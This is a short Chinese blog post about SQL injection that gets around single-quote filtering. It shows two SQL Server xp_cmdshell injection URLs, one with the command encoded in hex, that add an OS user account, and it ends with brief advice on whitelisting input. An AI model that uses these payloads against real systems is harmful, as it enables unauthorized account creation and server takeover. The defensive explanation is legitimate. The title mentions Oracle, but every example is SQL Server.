oracle注入过滤了单引号,sql绕过单引号限制继续注入的解决方法

在防范sql注入时,对变量过滤不足甚至没有过滤而构造畸形SQL语句,极有可能被成功注入,比如下面这行sql,相当轻松就注入成功了:

代码示例:

http://www./show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

大家可能觉得变量过滤了'就可以防止SQL Injection攻击,仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

代码示例:

http://www./show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

是不是跟上面的那句有很大区别?可是效果完全是一样的,其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

这句是“net user angel pass /add”的16进制格式。

先声明一个变量a,然后把指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

代码示例:

declare @a sysname

select @a=

exec master.dbo.xp_cmdshell @a

解决办法:

过滤变量,限制只允许输入特定字符。

比如对于数字类型的变量就限制只能输入数字类型的数据。

具体在程序中的操作方法,大家在编程时自行实践与总结,从细节入手,对于防范sql 注入务必处处用心啊。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值